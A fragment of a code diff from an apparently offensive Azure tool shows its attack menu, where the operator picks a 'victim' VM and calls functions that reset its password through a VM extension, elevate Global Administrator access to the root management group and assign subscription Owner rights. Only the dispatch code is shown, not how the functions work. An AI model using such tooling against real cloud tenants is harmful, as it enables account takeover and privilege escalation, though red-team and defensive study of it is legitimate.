UserVMRecord['subscriptionId']]) 1579 + AllVMRecordsCount += 1 1580 + print(AllVMRecords) 1581 + TargetVM = input("Select Target VM Name [i.e. 1]: ") 1582 + Selection = int(TargetVM) 1583 + print(CON_VMExtensionResetPwd(victims[Selection]["subId"],victims[Selection]["location"],victims[Selection]["rg"],victims[Selection]["name"], "RandomExtNas", victims[Selection]["username"])) 1163 1584 elif "GlobalAdministrator/elevateAccess" in ExploitChoosen and mode == "run": 1164 1585 print("Elevating access to the root management group..") 1165 1586 print(GA_ElevateAccess()) skipped 17 lines 1183 1604 print(GA_AssignSubscriptionOwnerRole(str(TargetSubscriptionVictim))) 1184 1605 else: 1185 1606 print("unkown command.") 1186 - 1187 1607 1188 1608 attackWindow() 1189 1609 skipped 36 lines